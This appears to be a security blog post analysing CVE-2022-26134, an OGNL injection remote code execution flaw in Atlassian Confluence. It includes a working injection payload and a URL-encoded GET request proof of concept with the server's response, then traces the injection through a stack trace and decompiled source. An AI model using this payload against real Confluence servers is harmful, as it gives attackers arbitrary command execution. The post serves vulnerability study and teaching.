An OGNL Injection Remote Code Execution (RCE) Vulnerability on Atlassian Confluence (CVE-2022–26134)

About CVE-2022–26134

OGNL Injection

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Attacker-Response",#a))}

Exploit POC

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Attacker-Response%22%2C%23a%29%29%7D/ HTTP/1.1 Host: 127.0.0.1:8090 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
HTTP/1.1 302 Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Confluence-Request-Time: 1655819234897 Set-Cookie: JSESSIONID=7AE586C9E49E2301BA33E5A1552D8C6F; Path=/; HttpOnly X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-Attacker-Response: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Attacker-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true Content-Type: text/html;charset=UTF-8 Content-Length: 0 Date: Tue, 21 Jun 2022 13:47:14 GMT Connection: close

Exploit Analysis

07-Jun-2022 10:37:00.565 WARNING [Catalina-utility-4] org.apache.catalina.valves.StuckThreadDetectionValve.notifyStuckThreadDetected Thread [http-nio-8090-exec-17] (id=[347]) has been active for [75,417] milliseconds (since [6/7/22 10:35 AM]) to serve the same request for [http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Attacker-Response%22%2C%23a%29%29%7D/] and may be stuck (configured threshold for this StuckThreadDetectionValve is [60] seconds). There is/are [1] thread(s) in total that are monitored by this Valve and may be stuck. java.lang.Throwable at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1247) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1215) at ognl.OgnlParser.primaryExpression(OgnlParser.java:1494) at ognl.OgnlParser.navigationChain(OgnlParser.java:1245) [..SNIP..] at ognl.Ognl.parseExpression(Ognl.java:113) at com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196) at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141) at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39) at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95) at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187) at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61) at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51) at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115) at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56) at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199) at javax.servlet.http.HttpServlet.service(HttpServlet.java:764) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) [..SNIP..] at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.base@11.0.15/java.lang.Thread.run(Thread.java:829)

Analyzing the stack,

  • com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199) appears to be the source where the injection occurs. The execution flows up to com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95) where execute method calls translateVariables method from TextParseUtil class
  • com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39) which appears to be sink where the OGNL expression evaluation takes place invoking findValue method from OgnlValueStack class
  • com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141) and goes forward parsing the OGNL expression with com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196) and multiple other classes.

Source Code Analysis

public static String getNamespaceFromServletPath(String servletPath) { servletPath = servletPath.substring(0, servletPath.lastIndexOf("/")); return servletPath; }

ServletDispatcher

public void execute(final ActionInvocation invocation) throws Exception { if (this.namespace == null) { this.namespace = invocation.getProxy().getNamespace(); } final OgnlValueStack stack = ActionContext.getContext().getValueStack(); final String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack); final String finalActionName = TextParseUtil.translateVariables(this.actionName, stack); if (this.isInChainHistory(finalNamespace, finalActionName)) { throw new XworkException("infinite recursion detected"); }

ActionChainResult

package com.opensymphony.xwork.util; import java.util.regex.Matcher; import java.util.regex.Pattern; public class TextParseUtil { public static String translateVariables(final String expression, final OgnlValueStack stack) { final StringBuilder sb = new StringBuilder(); final Pattern p = Pattern.compile("\\$\\{([^}]*)\\}"); final Matcher m = p.matcher(expression); int previous = 0; while (m.find()) { final String g = m.group(1); final int start = m.start(); String value; try { final Object o = stack.findValue(g); value = ((o == null) ? "" : o.toString()); } catch (Exception ignored) { value = ""; } sb.append(expression.substring(previous, start)).append(value); previous = m.end(); } if (previous < expression.length()) { sb.append(expression.substring(previous)); } return sb.toString(); } }

TextParseUtil

Solution

References

CVE Details:

--

--

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
TutorialBoy

TutorialBoy

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.